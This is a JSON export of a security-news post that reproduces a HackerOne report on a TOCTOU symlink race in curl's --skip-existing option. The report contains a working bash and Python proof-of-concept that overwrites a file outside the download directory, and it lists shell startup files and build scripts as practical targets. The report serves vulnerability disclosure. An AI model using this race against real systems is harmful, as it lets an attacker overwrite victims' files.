{"id":55924,"date":"2026-05-20T16:42:39","date_gmt":"2026-05-20T16:42:39","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=55924"},"modified":"2026-05-20T16:42:39","modified_gmt":"2026-05-20T16:42:39","slug":"curl-curl-skip-existing-has-a-toctou-race-that-lets-a-post-check-symlink-redirect-the-later-download","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=55924","title":{"rendered":"curl: curl &#8211;skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-20T21:28:14&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\nThe curl CLI&#8217;s `&#8211;skip-existing` option performs a separate existence check before the download body is written. In the verified path, curl first calls `stat()` on the target pathname and decides \\&#8221;the file does not exist, so continue\\&#8221;, but it does not keep an fd bound to that decision. The actual output file is only opened later, when the first response body bytes reach the write callback, and the normal clobbering path uses `fopen(\\&#8221;wb\\&#8221;)`, which follows symlinks. An attacker who can modify the download directory after the request starts can therefore create a same-name symlink in the gap between the check and the later open, causing curl to overwrite the symlink target instead of a file inside the intended directory. A cooperating or malicious server can make this race reliable by accepting the request and intentionally delaying the response body until the symlink has been planted. This is a real filesystem write-redirection bug in curl&#8217;s `&#8211;skip-existing` logic, not just caller misuse.\\n\\n## Affected version\\nValidated locally on:\\n\\n`curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl\/8.21.0-DEV OpenSSL\/3.0.13 zlib\/1.3 brotli\/1.1.0 zstd\/1.5.5 libpsl\/0.21.2`\\n\\nPlatform:\\n\\n`Linux L-G4274LMD-1548 6.6.87.2-microsoft-standard-WSL2 x86_64 GNU\/Linux`\\n\\nThis appears to affect curl CLI builds that include `&#8211;skip-existing`. That option was added in `8.10.0`, and the reproduced bug is in that option&#8217;s current implementation path.\\n\\n## Steps To Reproduce:\\n1. From the repository root, run the following self-contained script. It does not rely on any local PoC file. It creates a world-writable shared directory, starts a local HTTP server that delays the body, runs `curl &#8211;skip-existing -O`, inserts the symlink only after the request has already started, and then confirms that a file outside the shared directory was overwritten:\\n\\n&#8220;`bash\\nset -euo pipefail\\n\\nROOT=\\&#8221;$PWD\\&#8221;\\nCURL_BIN=\\&#8221;\\&#8221;\\nfor candidate in \\&#8221;$ROOT\/src\/curl\\&#8221; \\&#8221;$ROOT\/build-h2-asan\/src\/curl\\&#8221; \\&#8221;$(command -v curl)\\&#8221;; do\\n  if [ -n \\&#8221;${candidate:-}\\&#8221; ] \\u0026\\u0026 [ -x \\&#8221;$candidate\\&#8221; ]; then\\n    CURL_BIN=\\&#8221;$candidate\\&#8221;\\n    break\\n  fi\\ndone\\nif [ -z \\&#8221;$CURL_BIN\\&#8221; ]; then\\n  echo \\&#8221;could not find a curl binary to test\\&#8221; \\u003e\\u00262\\n  exit 1\\nfi\\n\\nTMPDIR=\\&#8221;$(mktemp -d)\\&#8221;\\ntrap &#8216;jobs -p | xargs -r kill 2\\u003e\/dev\/null || true; rm -rf \\&#8221;$TMPDIR\\&#8221;&#8216; EXIT\\nSHARED=\\&#8221;$TMPDIR\/shared\\&#8221;\\nTARGET=\\&#8221;$TMPDIR\/target\\&#8221;\\nSIGNAL=\\&#8221;$TMPDIR\/signal\\&#8221;\\nmkdir -p \\&#8221;$SHARED\\&#8221; \\&#8221;$TARGET\\&#8221; \\&#8221;$SIGNAL\\&#8221;\\nchmod 1777 \\&#8221;$SHARED\\&#8221;\\nprintf &#8216;ORIGINAL\\\\n&#8217; \\u003e \\&#8221;$TARGET\/important.txt\\&#8221;\\n\\ncat \\u003e\\&#8221;$TMPDIR\/server.py\\&#8221; \\u003c\\u003c&#8217;PY&#8217;\\nimport os\\nimport sys\\nimport time\\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\\n\\nport_file, ready_file, go_file = sys.argv[1:4]\\n\\nclass Handler(BaseHTTPRequestHandler):\\n    def do_GET(self):\\n        if self.path != \\&#8221;\/payload.txt\\&#8221;:\\n            self.send_response(404)\\n            self.end_headers()\\n            return\\n        open(ready_file, \\&#8221;w\\&#8221;).close()\\n        while not os.path.exists(go_file):\\n            time.sleep(0.02)\\n        body = b\\&#8221;RACED-SKIP-EXISTING\\\\n\\&#8221;\\n        self.send_response(200)\\n        self.send_header(\\&#8221;Content-Length\\&#8221;, str(len(body)))\\n        self.end_headers()\\n        self.wfile.write(body)\\n\\n    def log_message(self, *args):\\n        pass\\n\\nserver = HTTPServer((\\&#8221;127.0.0.1\\&#8221;, 0), Handler)\\nwith open(port_file, \\&#8221;w\\&#8221;, encoding=\\&#8221;ascii\\&#8221;) as f:\\n    f.write(str(server.server_port))\\n    f.flush()\\nserver.serve_forever()\\nPY\\n\\npython3 -u \\&#8221;$TMPDIR\/server.py\\&#8221; \\\\\\n  \\&#8221;$SIGNAL\/port\\&#8221; \\&#8221;$SIGNAL\/request.ready\\&#8221; \\&#8221;$SIGNAL\/send-body\\&#8221; \\u0026\\n\\nfor _ in $(seq 1 50); do\\n  [ -s \\&#8221;$SIGNAL\/port\\&#8221; ] \\u0026\\u0026 break\\n  sleep 0.1\\ndone\\n[ -s \\&#8221;$SIGNAL\/port\\&#8221; ] || { echo \\&#8221;server did not start\\&#8221; \\u003e\\u00262; exit 1; }\\nPORT=\\&#8221;$(cat \\&#8221;$SIGNAL\/port\\&#8221;)\\&#8221;\\n\\n(\\n  cd \\&#8221;$SHARED\\&#8221;\\n  \\&#8221;$CURL_BIN\\&#8221; -sS &#8211;skip-existing -O \\&#8221;http:\/\/127.0.0.1:$PORT\/payload.txt\\&#8221;\\n) \\u003e\\&#8221;$TMPDIR\/curl.stdout\\&#8221; 2\\u003e\\&#8221;$TMPDIR\/curl.stderr\\&#8221; \\u0026\\nCURL_PID=$!\\n\\nfor _ in $(seq 1 200); do\\n  [ -e \\&#8221;$SIGNAL\/request.ready\\&#8221; ] \\u0026\\u0026 break\\n  sleep 0.05\\ndone\\n[ -e \\&#8221;$SIGNAL\/request.ready\\&#8221; ] || { echo \\&#8221;curl never reached the request stage\\&#8221; \\u003e\\u00262; exit 1; }\\n\\nif [ -e \\&#8221;$SHARED\/payload.txt\\&#8221; ]; then\\n  echo \\&#8221;payload.txt unexpectedly exists before the race is triggered\\&#8221; \\u003e\\u00262\\n  exit 1\\nfi\\n\\nln -s ..\/target\/important.txt \\&#8221;$SHARED\/payload.txt\\&#8221;\\ntouch \\&#8221;$SIGNAL\/send-body\\&#8221;\\n\\nwait \\&#8221;$CURL_PID\\&#8221;\\n\\necho \\&#8221;curl binary: $CURL_BIN\\&#8221;\\necho \\&#8221;shared dir: $SHARED\\&#8221;\\necho \\&#8221;shared mode: $(stat -c &#8216;%A %a&#8217; \\&#8221;$SHARED\\&#8221;)\\&#8221;\\necho \\&#8221;symlink target: $(readlink \\&#8221;$SHARED\/payload.txt\\&#8221;)\\&#8221;\\necho \\&#8221;victim body: $(cat \\&#8221;$TARGET\/important.txt\\&#8221;)\\&#8221;\\n\\nif [ \\&#8221;$(cat \\&#8221;$TARGET\/important.txt\\&#8221;)\\&#8221; = \\&#8221;RACED-SKIP-EXISTING\\&#8221; ]; then\\n  echo\\n  echo \\&#8221;BUG CONFIRMED: curl followed the post-check symlink and overwrote a file outside the shared directory.\\&#8221;\\nelse\\n  echo\\n  echo \\&#8221;PoC did not reproduce.\\&#8221; \\u003e\\u00262\\n  exit 1\\nfi\\n&#8220;`\\n\\n2. Expected safe behavior:\\n   &#8211; once curl decides \\&#8221;the file does not exist, continue\\&#8221;, a later attacker-created symlink should not be able to change the write target\\n   &#8211; curl should either bind the decision to an already-open fd, or fail safely when the path has changed\\n\\n3. Observed vulnerable behavior:\\n   &#8211; the script prints `BUG CONFIRMED`\\n   &#8211; `shared\/payload.txt` remains a symlink to `..\/target\/important.txt`\\n   &#8211; `target\/important.txt`, which lives outside the shared download directory, is overwritten with `RACED-SKIP-EXISTING`\\n\\n4. Relevant code path in the current tree:\\n   &#8211; `src\/tool_operate.c`: `&#8211;skip-existing` checks `curlx_stat(per-\\u003eoutfile, \\u0026fileinfo)` and only sets a skip flag if the path already exists\\n   &#8211; `src\/tool_operate.c`: if the file does not already exist, it leaves `outs-\\u003estream = NULL`\\n   &#8211; `src\/tool_cb_wrt.c`: on first body write, curl calls `tool_create_output_file()`\\n   &#8211; `src\/tool_cb_wrt.c`: the clobbering branch uses `curlx_fopen(fname, \\&#8221;wb\\&#8221;)`, which follows the attacker-inserted symlink\\n\\n5. Why the exploit is practical:\\n   &#8211; the attacker does not need to win a tiny scheduler race\\n   &#8211; the server can deliberately delay the first body bytes until after the local attacker inserts the symlink\\n   &#8211; that makes the TOCTOU condition deterministic in shared or world-writable directories\\n\\n## Impact\\n\\n## Summary:\\nAn attacker who can modify the chosen download directory after curl starts the request can redirect the eventual download write into any filesystem target writable by the victim process. In the strongest real-world case, this means a local attacker can wait for a privileged or automated curl job that uses `&#8211;skip-existing` in `\/tmp`, a shared workspace, or another attacker-writable directory, then create the symlink after curl has already made its \\&#8221;file does not exist\\&#8221; decision. A malicious server can cooperate by delaying the response body until the symlink is in place, making exploitation reliable instead of probabilistic. The result is arbitrary file overwrite with attacker-controlled bytes relative to the victim process&#8217;s privileges. Practical targets include shell startup files, config files, build scripts, and other writable files outside the intended download directory.&#8221;,&#8221;published&#8221;:&#8221;2026-05-19T11:30:52&#8243;,&#8221;modified&#8221;:&#8221;2026-05-20T21:23:20&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: curl &#8211;skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3747959&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3747959&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-20T21:28:14&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\nThe curl CLI&#8217;s `&#8211;skip-existing` option performs a separate existence check before the download body is written. In the verified path, curl first calls `stat()`&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-55924","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: curl -skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=55924\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: curl -skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-20T21:28:14&#8243;,&#8221;description&#8221;:&#8221;## Summary:nThe curl CLI&#8217;s `&#8211;skip-existing` option performs a separate existence check before the download body is written. In the verified path, curl first calls `stat()`...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=55924\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-20T16:42:39+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55924#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55924\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: curl &#8211;skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959\",\"datePublished\":\"2026-05-20T16:42:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55924\"},\"wordCount\":1249,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55924#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55924\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55924\",\"name\":\"curl: curl -skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-20T16:42:39+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55924#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55924\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55924#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: curl &#8211;skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: curl -skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=55924","og_locale":"en_US","og_type":"article","og_title":"curl: curl -skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-20T21:28:14&#8243;,&#8221;description&#8221;:&#8221;## Summary:nThe curl CLI&#8217;s `&#8211;skip-existing` option performs a separate existence check before the download body is written. In the verified path, curl first calls `stat()`...","og_url":"https:\/\/zero.redgem.net\/?p=55924","og_site_name":"zero redgem","article_published_time":"2026-05-20T16:42:39+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=55924#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=55924"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: curl &#8211;skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959","datePublished":"2026-05-20T16:42:39+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=55924"},"wordCount":1249,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=55924#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=55924","url":"https:\/\/zero.redgem.net\/?p=55924","name":"curl: curl -skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-20T16:42:39+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=55924#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=55924"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=55924#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: curl &#8211;skip-existing has a TOCTOU race that lets a post-check symlink redirect the later download write_H1:3747959"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55924"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55924\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=55924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=55924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}